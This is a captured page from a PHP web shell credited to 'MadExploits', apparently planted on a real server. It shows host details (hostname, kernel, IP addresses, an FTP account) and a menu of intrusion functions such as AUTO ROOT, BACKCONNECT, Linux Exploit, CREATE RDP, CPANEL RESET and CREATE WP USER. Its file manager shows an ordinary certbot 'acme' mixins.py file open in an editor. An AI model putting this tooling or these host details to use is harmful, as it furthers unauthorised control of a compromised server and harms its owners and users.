Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.6 /
site-packages /
acme /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
726
B
-rw-r--r--
challenges.py
21.19
KB
-rw-r--r--
client.py
52.86
KB
-rw-r--r--
crypto_util.py
16.34
KB
-rw-r--r--
errors.py
4.21
KB
-rw-r--r--
fields.py
1.84
KB
-rw-r--r--
jws.py
2.33
KB
-rw-r--r--
magic_typing.py
595
B
-rw-r--r--
messages.py
24.74
KB
-rw-r--r--
mixins.py
2.78
KB
-rw-r--r--
standalone.py
12.83
KB
-rw-r--r--
util.py
303
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mixins.py
"""Useful mixins for Challenge and Resource objects""" from typing import Any from typing import Dict class VersionedLEACMEMixin: """This mixin stores the version of Let's Encrypt's endpoint being used.""" @property def le_acme_version(self) -> int: """Define the version of ACME protocol to use""" return getattr(self, '_le_acme_version', 1) @le_acme_version.setter def le_acme_version(self, version: int) -> None: # We need to use object.__setattr__ to not depend on the specific implementation of # __setattr__ in current class (eg. jose.TypedJSONObjectWithFields raises AttributeError # for any attempt to set an attribute to make objects immutable). object.__setattr__(self, '_le_acme_version', version) def __setattr__(self, key: str, value: Any) -> None: if key == 'le_acme_version': # Required for @property to operate properly. See comment above. object.__setattr__(self, key, value) else: super().__setattr__(key, value) # pragma: no cover class ResourceMixin(VersionedLEACMEMixin): """ This mixin generates a RFC8555 compliant JWS payload by removing the `resource` field if needed (eg. ACME v2 protocol). """ def to_partial_json(self) -> Dict[str, Any]: """See josepy.JSONDeserializable.to_partial_json()""" return _safe_jobj_compliance(super(), 'to_partial_json', 'resource') def fields_to_partial_json(self) -> Dict[str, Any]: """See josepy.JSONObjectWithFields.fields_to_partial_json()""" return _safe_jobj_compliance(super(), 'fields_to_partial_json', 'resource') class TypeMixin(VersionedLEACMEMixin): """ This mixin allows generation of a RFC8555 compliant JWS payload by removing the `type` field if needed (eg. ACME v2 protocol). """ def to_partial_json(self) -> Dict[str, Any]: """See josepy.JSONDeserializable.to_partial_json()""" return _safe_jobj_compliance(super(), 'to_partial_json', 'type') def fields_to_partial_json(self) -> Dict[str, Any]: """See josepy.JSONObjectWithFields.fields_to_partial_json()""" return _safe_jobj_compliance(super(), 'fields_to_partial_json', 'type') def _safe_jobj_compliance(instance: Any, jobj_method: str, uncompliant_field: str) -> Dict[str, Any]: if hasattr(instance, jobj_method): jobj: Dict[str, Any] = getattr(instance, jobj_method)() if instance.le_acme_version == 2: jobj.pop(uncompliant_field, None) return jobj raise AttributeError('Method {0}() is not implemented.'.format(jobj_method)) # pragma: no cover
Close